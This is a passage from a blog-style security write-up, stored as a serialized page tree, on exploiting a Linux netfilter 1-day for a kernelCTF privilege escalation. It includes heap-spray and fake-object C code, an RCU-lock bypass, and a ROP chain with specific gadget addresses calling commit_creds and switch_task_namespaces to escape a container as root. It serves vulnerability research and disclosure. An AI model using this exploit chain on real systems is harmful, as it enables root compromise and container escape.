\"",{"type":25,"tag":216,"props":60280,"children":60281},{"style":6930},[60282],{"type":31,"value":60244},{"type":25,"tag":216,"props":60284,"children":60285},{"style":6958},[60286],{"type":31,"value":60287},"-3",{"type":25,"tag":216,"props":60289,"children":60290},{"style":8199},[60291],{"type":31,"value":60254},{"type":25,"tag":216,"props":60293,"children":60294},{"class":6916,"line":7551},[60295],{"type":25,"tag":216,"props":60296,"children":60297},{"style":8199},[60298],{"type":31,"value":60299},"    DumpHex(fake_obj, 0xe8);\n",{"type":25,"tag":216,"props":60301,"children":60302},{"class":6916,"line":7568},[60303],{"type":25,"tag":216,"props":60304,"children":60305},{"style":8199},[60306],{"type":31,"value":60307},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":25,"tag":216,"props":60309,"children":60310},{"class":6916,"line":7585},[60311,60316,60320,60324,60328,60333,60338,60343,60347,60352,60357,60362,60366],{"type":25,"tag":216,"props":60312,"children":60313},{"style":8199},[60314],{"type":31,"value":60315},"    printf(\"",{"type":25,"tag":216,"props":60317,"children":60318},{"style":6958},[60319],{"type":31,"value":7695},{"type":25,"tag":216,"props":60321,"children":60322},{"style":6947},[60323],{"type":31,"value":8513},{"type":25,"tag":216,"props":60325,"children":60326},{"style":6958},[60327],{"type":31,"value":12608},{"type":25,"tag":216,"props":60329,"children":60330},{"style":7369},[60331],{"type":31,"value":60332},"ROP",{"type":25,"tag":216,"props":60334,"children":60335},{"style":7369},[60336],{"type":31,"value":60337}," addr",{"type":25,"tag":216,"props":60339,"children":60340},{"style":6958},[60341],{"type":31,"value":60342},": 0",{"type":25,"tag":216,"props":60344,"children":60345},{"style":7369},[60346],{"type":31,"value":2535},{"type":25,"tag":216,"props":60348,"children":60349},{"style":6958},[60350],{"type":31,"value":60351},"%",{"type":25,"tag":216,"props":60353,"children":60354},{"style":7369},[60355],{"type":31,"value":60356},"lx",{"type":25,"tag":216,"props":60358,"children":60359},{"style":6958},[60360],{"type":31,"value":60361},"\\",{"type":25,"tag":216,"props":60363,"children":60364},{"style":7369},[60365],{"type":31,"value":2190},{"type":25,"tag":216,"props":60367,"children":60368},{"style":8199},[60369],{"type":31,"value":60370},"\", rop_addr);\n",{"type":25,"tag":216,"props":60372,"children":60373},{"class":6916,"line":7598},[60374],{"type":25,"tag":216,"props":60375,"children":60376},{"emptyLinePlaceholder":16},[60377],{"type":31,"value":7636},{"type":25,"tag":216,"props":60379,"children":60380},{"class":6916,"line":7607},[60381],{"type":25,"tag":216,"props":60382,"children":60383},{"style":8199},[60384],{"type":31,"value":60385},"    // Point to fake ops\n",{"type":25,"tag":216,"props":60387,"children":60388},{"class":6916,"line":7630},[60389],{"type":25,"tag":216,"props":60390,"children":60391},{"style":8199},[60392],{"type":31,"value":60393},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":25,"tag":216,"props":60395,"children":60396},{"class":6916,"line":7639},[60397],{"type":25,"tag":216,"props":60398,"children":60399},{"style":8199},[60400],{"type":31,"value":14269},{"type":25,"tag":216,"props":60402,"children":60403},{"class":6916,"line":7648},[60404],{"type":25,"tag":216,"props":60405,"children":60406},{"style":8199},[60407],{"type":31,"value":60408},"    // Write ROP\n",{"type":25,"tag":216,"props":60410,"children":60411},{"class":6916,"line":7716},[60412,60417,60421,60425,60429,60434,60439],{"type":25,"tag":216,"props":60413,"children":60414},{"style":8199},[60415],{"type":31,"value":60416},"    puts(\"",{"type":25,"tag":216,"props":60418,"children":60419},{"style":6958},[60420],{"type":31,"value":7695},{"type":25,"tag":216,"props":60422,"children":60423},{"style":6947},[60424],{"type":31,"value":8513},{"type":25,"tag":216,"props":60426,"children":60427},{"style":6958},[60428],{"type":31,"value":12608},{"type":25,"tag":216,"props":60430,"children":60431},{"style":7369},[60432],{"type":31,"value":60433},"Write",{"type":25,"tag":216,"props":60435,"children":60436},{"style":7369},[60437],{"type":31,"value":60438}," ROP",{"type":25,"tag":216,"props":60440,"children":60441},{"style":8199},[60442],{"type":31,"value":60254},{"type":25,"tag":216,"props":60444,"children":60445},{"class":6916,"line":7724},[60446],{"type":25,"tag":216,"props":60447,"children":60448},{"style":8199},[60449],{"type":31,"value":60450},"    deludata_spray(nl, 3, 1);\n",{"type":25,"tag":216,"props":60452,"children":60453},{"class":6916,"line":7754},[60454],{"type":25,"tag":216,"props":60455,"children":60456},{"style":8199},[60457],{"type":31,"value":60262},{"type":25,"tag":216,"props":60459,"children":60460},{"class":6916,"line":7762},[60461],{"type":25,"tag":216,"props":60462,"children":60463},{"style":8199},[60464],{"type":31,"value":60465},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":25,"tag":216,"props":60467,"children":60468},{"class":6916,"line":7794},[60469],{"type":25,"tag":216,"props":60470,"children":60471},{"emptyLinePlaceholder":16},[60472],{"type":31,"value":7636},{"type":25,"tag":216,"props":60474,"children":60475},{"class":6916,"line":7802},[60476],{"type":25,"tag":216,"props":60477,"children":60478},{"style":8199},[60479],{"type":31,"value":60480},"    // Takeover RIP\n",{"type":25,"tag":216,"props":60482,"children":60483},{"class":6916,"line":7862},[60484,60488,60492,60496,60500,60505,60510],{"type":25,"tag":216,"props":60485,"children":60486},{"style":8199},[60487],{"type":31,"value":60416},{"type":25,"tag":216,"props":60489,"children":60490},{"style":6958},[60491],{"type":31,"value":7695},{"type":25,"tag":216,"props":60493,"children":60494},{"style":6947},[60495],{"type":31,"value":8513},{"type":25,"tag":216,"props":60497,"children":60498},{"style":6958},[60499],{"type":31,"value":12608},{"type":25,"tag":216,"props":60501,"children":60502},{"style":7369},[60503],{"type":31,"value":60504},"Takeover",{"type":25,"tag":216,"props":60506,"children":60507},{"style":7369},[60508],{"type":31,"value":60509}," RIP",{"type":25,"tag":216,"props":60511,"children":60512},{"style":8199},[60513],{"type":31,"value":60254},{"type":25,"tag":216,"props":60515,"children":60516},{"class":6916,"line":12995},[60517,60522,60526,60531],{"type":25,"tag":216,"props":60518,"children":60519},{"style":8199},[60520],{"type":31,"value":60521},"    dump_obj(nl, \"",{"type":25,"tag":216,"props":60523,"children":60524},{"style":6930},[60525],{"type":31,"value":60244},{"type":25,"tag":216,"props":60527,"children":60528},{"style":6958},[60529],{"type":31,"value":60530},"-1",{"type":25,"tag":216,"props":60532,"children":60533},{"style":8199},[60534],{"type":31,"value":60254},{"type":25,"tag":216,"props":60536,"children":60537},{"class":6916,"line":13013},[60538],{"type":25,"tag":216,"props":60539,"children":60540},{"style":8199},[60541],{"type":31,"value":14269},{"type":25,"tag":607,"props":60543,"children":60545},{"id":60544},"bypass-context-switch-in-rcu-critical-section",[60546],{"type":31,"value":60547},"Bypass context switch in RCU critical-section",{"type":25,"tag":38,"props":60549,"children":60550},{},[60551,60552,60557],{"type":31,"value":474},{"type":25,"tag":82,"props":60553,"children":60555},{"className":60554},[],[60556],{"type":31,"value":59076},{"type":31,"value":60558}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":25,"tag":38,"props":60560,"children":60561},{},[60562,60564,60571,60573,60579,60581,60587],{"type":31,"value":60563},"A workaround has been discussed before by D3v17 in a ",{"type":25,"tag":162,"props":60565,"children":60568},{"href":60566,"rel":60567},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[166],[60569],{"type":31,"value":60570},"previous kernelCTF submission",{"type":31,"value":60572}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":25,"tag":82,"props":60574,"children":60576},{"className":60575},[],[60577],{"type":31,"value":60578},"task_struct",{"type":31,"value":60580}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":25,"tag":82,"props":60582,"children":60584},{"className":60583},[],[60585],{"type":31,"value":60586},"__rcu_read_unlock()",{"type":31,"value":60588}," function and exit the RCU critical-section before switching contexts.",{"type":25,"tag":206,"props":60590,"children":60592},{"className":33064,"code":60591,"language":33066,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[60593],{"type":25,"tag":82,"props":60594,"children":60595},{"__ignoreMap":7},[60596,60604,60628,60635],{"type":25,"tag":216,"props":60597,"children":60598},{"class":6916,"line":6917},[60599],{"type":25,"tag":216,"props":60600,"children":60601},{"style":6921},[60602],{"type":31,"value":60603},"    // ROP stage 1\n",{"type":25,"tag":216,"props":60605,"children":60606},{"class":6916,"line":6763},[60607,60611,60616,60620,60624],{"type":25,"tag":216,"props":60608,"children":60609},{"style":6930},[60610],{"type":31,"value":23031},{"type":25,"tag":216,"props":60612,"children":60613},{"style":6958},[60614],{"type":31,"value":60615}," pos ",{"type":25,"tag":216,"props":60617,"children":60618},{"style":6947},[60619],{"type":31,"value":266},{"type":25,"tag":216,"props":60621,"children":60622},{"style":6983},[60623],{"type":31,"value":23053},{"type":25,"tag":216,"props":60625,"children":60626},{"style":6958},[60627],{"type":31,"value":6961},{"type":25,"tag":216,"props":60629,"children":60630},{"class":6916,"line":6772},[60631],{"type":25,"tag":216,"props":60632,"children":60633},{"emptyLinePlaceholder":16},[60634],{"type":31,"value":7636},{"type":25,"tag":216,"props":60636,"children":60637},{"class":6916,"line":6999},[60638,60642,60647,60651,60655,60659,60663,60667],{"type":25,"tag":216,"props":60639,"children":60640},{"style":6941},[60641],{"type":31,"value":60132},{"type":25,"tag":216,"props":60643,"children":60644},{"style":6958},[60645],{"type":31,"value":60646},"[pos",{"type":25,"tag":216,"props":60648,"children":60649},{"style":6947},[60650],{"type":31,"value":55232},{"type":25,"tag":216,"props":60652,"children":60653},{"style":6958},[60654],{"type":31,"value":12608},{"type":25,"tag":216,"props":60656,"children":60657},{"style":6947},[60658],{"type":31,"value":266},{"type":25,"tag":216,"props":60660,"children":60661},{"style":6958},[60662],{"type":31,"value":60153},{"type":25,"tag":216,"props":60664,"children":60665},{"style":6947},[60666],{"type":31,"value":3533},{"type":25,"tag":216,"props":60668,"children":60669},{"style":6958},[60670],{"type":31,"value":60671}," __RCU_READ_UNLOCK;\n",{"type":25,"tag":607,"props":60673,"children":60675},{"id":60674},"rop",[60676],{"type":31,"value":60332},{"type":25,"tag":38,"props":60678,"children":60679},{},[60680],{"type":31,"value":60681},"Most of the ROP chain to escape the container as root is business as usual:",{"type":25,"tag":2033,"props":60683,"children":60684},{},[60685,60696,60707],{"type":25,"tag":2037,"props":60686,"children":60687},{},[60688,60694],{"type":25,"tag":82,"props":60689,"children":60691},{"className":60690},[],[60692],{"type":31,"value":60693},"commit_creds(&init_cred);",{"type":31,"value":60695}," Commit root credentials to our process",{"type":25,"tag":2037,"props":60697,"children":60698},{},[60699,60705],{"type":25,"tag":82,"props":60700,"children":60702},{"className":60701},[],[60703],{"type":31,"value":60704},"task = find_task_by_vpid(1);",{"type":31,"value":60706}," Find the root process of our namespace",{"type":25,"tag":2037,"props":60708,"children":60709},{},[60710,60716],{"type":25,"tag":82,"props":60711,"children":60713},{"className":60712},[],[60714],{"type":31,"value":60715},"switch_task_namespaces(task, &init_nsproxy);",{"type":31,"value":60717}," Move it to the root namespace",{"type":25,"tag":38,"props":60719,"children":60720},{},[60721,60723,60729,60731,60737,60739,60745,60747,60753,60755,60760,60762,60768],{"type":31,"value":60722},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":25,"tag":82,"props":60724,"children":60726},{"className":60725},[],[60727],{"type":31,"value":60728},"find_task_by_vpid(1)",{"type":31,"value":60730}," passed through ",{"type":25,"tag":82,"props":60732,"children":60734},{"className":60733},[],[60735],{"type":31,"value":60736},"rax",{"type":31,"value":60738}," to ",{"type":25,"tag":82,"props":60740,"children":60742},{"className":60741},[],[60743],{"type":31,"value":60744},"rdi",{"type":31,"value":60746},". What I ended up going with was a ",{"type":25,"tag":82,"props":60748,"children":60750},{"className":60749},[],[60751],{"type":31,"value":60752},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":31,"value":60754}," gadget, that allowed me to push the ",{"type":25,"tag":82,"props":60756,"children":60758},{"className":60757},[],[60759],{"type":31,"value":60736},{"type":31,"value":60761}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":25,"tag":82,"props":60763,"children":60765},{"className":60764},[],[60766],{"type":31,"value":60767},"pop rdi; ret",{"type":31,"value":60769}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":25,"tag":2033,"props":60771,"children":60772},{},[60773,60778,60791],{"type":25,"tag":2037,"props":60774,"children":60775},{},[60776],{"type":31,"value":60777},"We push the value onto the stack (stack pointer regresses)",{"type":25,"tag":2037,"props":60779,"children":60780},{},[60781,60783,60789],{"type":31,"value":60782},"We jump to our \"trampoline\" gadget (",{"type":25,"tag":82,"props":60784,"children":60786},{"className":60785},[],[60787],{"type":31,"value":60788},"pop rdi; ret;",{"type":31,"value":60790}," location)",{"type":25,"tag":2037,"props":60792,"children":60793},{},[60794,60799],{"type":25,"tag":82,"props":60795,"children":60797},{"className":60796},[],[60798],{"type":31,"value":60767},{"type":31,"value":60800}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":25,"tag":206,"props":60802,"children":60804},{"className":33064,"code":60803,"language":33066,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[60805],{"type":25,"tag":82,"props":60806,"children":60807},{"__ignoreMap":7},[60808,60815,60832,60877,60913,60949,60956,60964,61007,61038,61074,61119,61174,61219,61226,61234,61277,61313,61349],{"type":25,"tag":216,"props":60809,"children":60810},{"class":6916,"line":6917},[60811],{"type":25,"tag":216,"props":60812,"children":60813},{"style":6958},[60814],{"type":31,"value":14269},{"type":25,"tag":216,"props":60816,"children":60817},{"class":6916,"line":6763},[60818,60823,60828],{"type":25,"tag":216,"props":60819,"children":60820},{"style":6958},[60821],{"type":31,"value":60822},"    // commit_creds(&",{"type":25,"tag":216,"props":60824,"children":60825},{"style":6941},[60826],{"type":31,"value":60827},"init_cred",{"type":25,"tag":216,"props":60829,"children":60830},{"style":6958},[60831],{"type":31,"value":7791},{"type":25,"tag":216,"props":60833,"children":60834},{"class":6916,"line":6772},[60835,60839,60843,60847,60851,60855,60859,60863,60868,60872],{"type":25,"tag":216,"props":60836,"children":60837},{"style":6941},[60838],{"type":31,"value":60132},{"type":25,"tag":216,"props":60840,"children":60841},{"style":6958},[60842],{"type":31,"value":60646},{"type":25,"tag":216,"props":60844,"children":60845},{"style":6947},[60846],{"type":31,"value":55232},{"type":25,"tag":216,"props":60848,"children":60849},{"style":6958},[60850],{"type":31,"value":12608},{"type":25,"tag":216,"props":60852,"children":60853},{"style":6947},[60854],{"type":31,"value":266},{"type":25,"tag":216,"props":60856,"children":60857},{"style":6958},[60858],{"type":31,"value":60153},{"type":25,"tag":216,"props":60860,"children":60861},{"style":6947},[60862],{"type":31,"value":3533},{"type":25,"tag":216,"props":60864,"children":60865},{"style":6983},[60866],{"type":31,"value":60867}," 0xffffffff8112c7c0",{"type":25,"tag":216,"props":60869,"children":60870},{"style":6958},[60871],{"type":31,"value":53037},{"type":25,"tag":216,"props":60873,"children":60874},{"style":6921},[60875],{"type":31,"value":60876}," // pop rdi; ret;\n",{"type":25,"tag":216,"props":60878,"children":60879},{"class":6916,"line":6999},[60880,60884,60888,60892,60896,60900,60904,60908],{"type":25,"tag":216,"props":60881,"children":60882},{"style":6941},[60883],{"type":31,"value":60132},{"type":25,"tag":216,"props":60885,"children":60886},{"style":6958},[60887],{"type":31,"value":60646},{"type":25,"tag":216,"props":60889,"children":60890},{"style":6947},[60891],{"type":31,"value":55232},{"type":25,"tag":216,"props":60893,"children":60894},{"style":6958},[60895],{"type":31,"value":12608},{"type":25,"tag":216,"props":60897,"children":60898},{"style":6947},[60899],{"type":31,"value":266},{"type":25,"tag":216,"props":60901,"children":60902},{"style":6958},[60903],{"type":31,"value":60153},{"type":25,"tag":216,"props":60905,"children":60906},{"style":6947},[60907],{"type":31,"value":3533},{"type":25,"tag":216,"props":60909,"children":60910},{"style":6958},[60911],{"type":31,"value":60912}," INIT_CRED;\n",{"type":25,"tag":216,"props":60914,"children":60915},{"class":6916,"line":7104},[60916,60920,60924,60928,60932,60936,60940,60944],{"type":25,"tag":216,"props":60917,"children":60918},{"style":6941},[60919],{"type":31,"value":60132},{"type":25,"tag":216,"props":60921,"children":60922},{"style":6958},[60923],{"type":31,"value":60646},{"type":25,"tag":216,"props":60925,"children":60926},{"style":6947},[60927],{"type":31,"value":55232},{"type":25,"tag":216,"props":60929,"children":60930},{"style":6958},[60931],{"type":31,"value":12608},{"type":25,"tag":216,"props":60933,"children":60934},{"style":6947},[60935],{"type":31,"value":266},{"type":25,"tag":216,"props":60937,"children":60938},{"style":6958},[60939],{"type":31,"value":60153},{"type":25,"tag":216,"props":60941,"children":60942},{"style":6947},[60943],{"type":31,"value":3533},{"type":25,"tag":216,"props":60945,"children":60946},{"style":6958},[60947],{"type":31,"value":60948}," COMMIT_CREDS;\n",{"type":25,"tag":216,"props":60950,"children":60951},{"class":6916,"line":7210},[60952],{"type":25,"tag":216,"props":60953,"children":60954},{"emptyLinePlaceholder":16},[60955],{"type":31,"value":7636},{"type":25,"tag":216,"props":60957,"children":60958},{"class":6916,"line":7238},[60959],{"type":25,"tag":216,"props":60960,"children":60961},{"style":6921},[60962],{"type":31,"value":60963},"    // task = find_task_by_vpid(1);\n",{"type":25,"tag":216,"props":60965,"children":60966},{"class":6916,"line":7251},[60967,60971,60975,60979,60983,60987,60991,60995,60999,61003],{"type":25,"tag":216,"props":60968,"children":60969},{"style":6941},[60970],{"type":31,"value":60132},{"type":25,"tag":216,"props":60972,"children":60973},{"style":6958},[60974],{"type":31,"value":60646},{"type":25,"tag":216,"props":60976,"children":60977},{"style":6947},[60978],{"type":31,"value":55232},{"type":25,"tag":216,"props":60980,"children":60981},{"style":6958},[60982],{"type":31,"value":12608},{"type":25,"tag":216,"props":60984,"children":60985},{"style":6947},[60986],{"type":31,"value":266},{"type":25,"tag":216,"props":60988,"children":60989},{"style":6958},[60990],{"type":31,"value":60153},{"type":25,"tag":216,"props":60992,"children":60993},{"style":6947},[60994],{"type":31,"value":3533},{"type":25,"tag":216,"props":60996,"children":60997},{"style":6983},[60998],{"type":31,"value":60867},{"type":25,"tag":216,"props":61000,"children":61001},{"style":6958},[61002],{"type":31,"value":53037},{"type":25,"tag":216,"props":61004,"children":61005},{"style":6921},[61006],{"type":31,"value":60876},{"type":25,"tag":216,"props":61008,"children":61009},{"class":6916,"line":7269},[61010,61014,61018,61022,61026,61030,61034],{"type":25,"tag":216,"props":61011,"children":61012},{"style":6941},[61013],{"type":31,"value":60132},{"type":25,"tag":216,"props":61015,"children":61016},{"style":6958},[61017],{"type":31,"value":60646},{"type":25,"tag":216,"props":61019,"children":61020},{"style":6947},[61021],{"type":31,"value":55232},{"type":25,"tag":216,"props":61023,"children":61024},{"style":6958},[61025],{"type":31,"value":12608},{"type":25,"tag":216,"props":61027,"children":61028},{"style":6947},[61029],{"type":31,"value":266},{"type":25,"tag":216,"props":61031,"children":61032},{"style":6983},[61033],{"type":31,"value":8465},{"type":25,"tag":216,"props":61035,"children":61036},{"style":6958},[61037],{"type":31,"value":6961},{"type":25,"tag":216,"props":61039,"children":61040},{"class":6916,"line":7290},[61041,61045,61049,61053,61057,61061,61065,61069],{"type":25,"tag":216,"props":61042,"children":61043},{"style":6941},[61044],{"type":31,"value":60132},{"type":25,"tag":216,"props":61046,"children":61047},{"style":6958},[61048],{"type":31,"value":60646},{"type":25,"tag":216,"props":61050,"children":61051},{"style":6947},[61052],{"type":31,"value":55232},{"type":25,"tag":216,"props":61054,"children":61055},{"style":6958},[61056],{"type":31,"value":12608},{"type":25,"tag":216,"props":61058,"children":61059},{"style":6947},[61060],{"type":31,"value":266},{"type":25,"tag":216,"props":61062,"children":61063},{"style":6958},[61064],{"type":31,"value":60153},{"type":25,"tag":216,"props":61066,"children":61067},{"style":6947},[61068],{"type":31,"value":3533},{"type":25,"tag":216,"props":61070,"children":61071},{"style":6958},[61072],{"type":31,"value":61073}," FIND_TASK_BY_VPID;\n",{"type":25,"tag":216,"props":61075,"children":61076},{"class":6916,"line":7299},[61077,61081,61085,61089,61093,61097,61101,61105,61110,61114],{"type":25,"tag":216,"props":61078,"children":61079},{"style":6941},[61080],{"type":31,"value":60132},{"type":25,"tag":216,"props":61082,"children":61083},{"style":6958},[61084],{"type":31,"value":60646},{"type":25,"tag":216,"props":61086,"children":61087},{"style":6947},[61088],{"type":31,"value":55232},{"type":25,"tag":216,"props":61090,"children":61091},{"style":6958},[61092],{"type":31,"value":12608},{"type":25,"tag":216,"props":61094,"children":61095},{"style":6947},[61096],{"type":31,"value":266},{"type":25,"tag":216,"props":61098,"children":61099},{"style":6958},[61100],{"type":31,"value":60153},{"type":25,"tag":216,"props":61102,"children":61103},{"style":6947},[61104],{"type":31,"value":3533},{"type":25,"tag":216,"props":61106,"children":61107},{"style":6983},[61108],{"type":31,"value":61109}," 0xffffffff8102e2a6",{"type":25,"tag":216,"props":61111,"children":61112},{"style":6958},[61113],{"type":31,"value":53037},{"type":25,"tag":216,"props":61115,"children":61116},{"style":6921},[61117],{"type":31,"value":61118}," // pop rsi; ret;\n",{"type":25,"tag":216,"props":61120,"children":61121},{"class":6916,"line":7551},[61122,61126,61130,61134,61138,61142,61147,61151,61156,61160,61165,61169],{"type":25,"tag":216,"props":61123,"children":61124},{"style":6941},[61125],{"type":31,"value":60132},{"type":25,"tag":216,"props":61127,"children":61128},{"style":6958},[61129],{"type":31,"value":60646},{"type":25,"tag":216,"props":61131,"children":61132},{"style":6947},[61133],{"type":31,"value":55232},{"type":25,"tag":216,"props":61135,"children":61136},{"style":6958},[61137],{"type":31,"value":12608},{"type":25,"tag":216,"props":61139,"children":61140},{"style":6947},[61141],{"type":31,"value":266},{"type":25,"tag":216,"props":61143,"children":61144},{"style":6958},[61145],{"type":31,"value":61146}," obj_ptr ",{"type":25,"tag":216,"props":61148,"children":61149},{"style":6947},[61150],{"type":31,"value":3533},{"type":25,"tag":216,"props":61152,"children":61153},{"style":6983},[61154],{"type":31,"value":61155}," 0xe0",{"type":25,"tag":216,"props":61157,"children":61158},{"style":6947},[61159],{"type":31,"value":55218},{"type":25,"tag":216,"props":61161,"children":61162},{"style":6983},[61163],{"type":31,"value":61164}," 0x66",{"type":25,"tag":216,"props":61166,"children":61167},{"style":6958},[61168],{"type":31,"value":53037},{"type":25,"tag":216,"props":61170,"children":61171},{"style":6921},[61172],{"type":31,"value":61173},"            // rax -> rdi and resume rop\n",{"type":25,"tag":216,"props":61175,"children":61176},{"class":6916,"line":7568},[61177,61181,61185,61189,61193,61197,61201,61205,61210,61214],{"type":25,"tag":216,"props":61178,"children":61179},{"style":6941},[61180],{"type":31,"value":60132},{"type":25,"tag":216,"props":61182,"children":61183},{"style":6958},[61184],{"type":31,"value":60646},{"type":25,"tag":216,"props":61186,"children":61187},{"style":6947},[61188],{"type":31,"value":55232},{"type":25,"tag":216,"props":61190,"children":61191},{"style":6958},[61192],{"type":31,"value":12608},{"type":25,"tag":216,"props":61194,"children":61195},{"style":6947},[61196],{"type":31,"value":266},{"type":25,"tag":216,"props":61198,"children":61199},{"style":6958},[61200],{"type":31,"value":60153},{"type":25,"tag":216,"props":61202,"children":61203},{"style":6947},[61204],{"type":31,"value":3533},{"type":25,"tag":216,"props":61206,"children":61207},{"style":6983},[61208],{"type":31,"value":61209}," 0xffffffff81caed31",{"type":25,"tag":216,"props":61211,"children":61212},{"style":6958},[61213],{"type":31,"value":53037},{"type":25,"tag":216,"props":61215,"children":61216},{"style":6921},[61217],{"type":31,"value":61218}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":25,"tag":216,"props":61220,"children":61221},{"class":6916,"line":7585},[61222],{"type":25,"tag":216,"props":61223,"children":61224},{"emptyLinePlaceholder":16},[61225],{"type":31,"value":7636},{"type":25,"tag":216,"props":61227,"children":61228},{"class":6916,"line":7598},[61229],{"type":25,"tag":216,"props":61230,"children":61231},{"style":6921},[61232],{"type":31,"value":61233},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":25,"tag":216,"props":61235,"children":61236},{"class":6916,"line":7607},[61237,61241,61245,61249,61253,61257,61261,61265,61269,61273],{"type":25,"tag":216,"props":61238,"children":61239},{"style":6941},[61240],{"type":31,"value":60132},{"type":25,"tag":216,"props":61242,"children":61243},{"style":6958},[61244],{"type":31,"value":60646},{"type":25,"tag":216,"props":61246,"children":61247},{"style":6947},[61248],{"type":31,"value":55232},{"type":25,"tag":216,"props":61250,"children":61251},{"style":6958},[61252],{"type":31,"value":12608},{"type":25,"tag":216,"props":61254,"children":61255},{"style":6947},[61256],{"type":31,"value":266},{"type":25,"tag":216,"props":61258,"children":61259},{"style":6958},[61260],{"type":31,"value":60153},{"type":25,"tag":216,"props":61262,"children":61263},{"style":6947},[61264],{"type":31,"value":3533},{"type":25,"tag":216,"props":61266,"children":61267},{"style":6983},[61268],{"type":31,"value":61109},{"type":25,"tag":216,"props":61270,"children":61271},{"style":6958},[61272],{"type":31,"value":53037},{"type":25,"tag":216,"props":61274,"children":61275},{"style":6921},[61276],{"type":31,"value":61118},{"type":25,"tag":216,"props":61278,"children":61279},{"class":6916,"line":7630},[61280,61284,61288,61292,61296,61300,61304,61308],{"type":25,"tag":216,"props":61281,"children":61282},{"style":6941},[61283],{"type":31,"value":60132},{"type":25,"tag":216,"props":61285,"children":61286},{"style":6958},[61287],{"type":31,"value":60646},{"type":25,"tag":216,"props":61289,"children":61290},{"style":6947},[61291],{"type":31,"value":55232},{"type":25,"tag":216,"props":61293,"children":61294},{"style":6958},[61295],{"type":31,"value":12608},{"type":25,"tag":216,"props":61297,"children":61298},{"style":6947},[61299],{"type":31,"value":266},{"type":25,"tag":216,"props":61301,"children":61302},{"style":6958},[61303],{"type":31,"value":60153},{"type":25,"tag":216,"props":61305,"children":61306},{"style":6947},[61307],{"type":31,"value":3533},{"type":25,"tag":216,"props":61309,"children":61310},{"style":6958},[61311],{"type":31,"value":61312}," INIT_NSPROXY;\n",{"type":25,"tag":216,"props":61314,"children":61315},{"class":6916,"line":7639},[61316,61320,61324,61328,61332,61336,61340,61344],{"type":25,"tag":216,"props":61317,"children":61318},{"style":6941},[61319],{"type":31,"value":60132},{"type":25,"tag":216,"props":61321,"children":61322},{"style":6958},[61323],{"type":31,"value":60646},{"type":25,"tag":216,"props":61325,"children":61326},{"style":6947},[61327],{"type":31,"value":55232},{"type":25,"tag":216,"props":61329,"children":61330},{"style":6958},[61331],{"type":31,"value":12608},{"type":25,"tag":216,"props":61333,"children":61334},{"style":6947},[61335],{"type":31,"value":266},{"type":25,"tag":216,"props":61337,"children":61338},{"style":6958},[61339],{"type":31,"value":60153},{"type":25,"tag":216,"props":61341,"children":61342},{"style":6947},[61343],{"type":31,"value":3533},{"type":25,"tag":216,"props":61345,"children":61346},{"style":6958},[61347],{"type":31,"value":61348}," SWITCH_TASK_NAMESPACES;\n",{"type":25,"tag":216,"props":61350,"children":61351},{"class":6916,"line":7648},[61352],{"type":25,"tag":216,"props":61353,"children":61354},{"style":6958},[61355],{"type":31,"value":14269},{"type":25,"tag":607,"props":61357,"children":61359},{"id":61358},"grabbing-the-kernelctf-flag",[61360],{"type":31,"value":61361},"Grabbing the kernelCTF flag",{"type":25,"tag":38,"props":61363,"children":61364},{},[61365,61369,61371,61378],{"type":25,"tag":6461,"props":61366,"children":61368},{"alt":54541,"src":61367},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":31,"value":61370},"\nYou can find the kernelCTF exploit in our ",{"type":25,"tag":162,"props":61372,"children":61375},{"href":61373,"rel":61374},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[166],[61376],{"type":31,"value":61377},"GitHub",{"type":31,"value":179},{"type":25,"tag":26,"props":61380,"children":61382},{"id":61381},"universal-exploit",[61383],{"type":31,"value":61384},"Universal exploit",{"type":25,"tag":38,"props":61386,"children":61387},{},[61388],{"type":31,"value":61389},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":25,"tag":607,"props":61391,"children":61393},{"id":61392},"pivot-capability-using-msg_msg-mlistnext-pointer",[61394],{"type":31,"value":61395},"Pivot capability using msg_msg->mlist.next 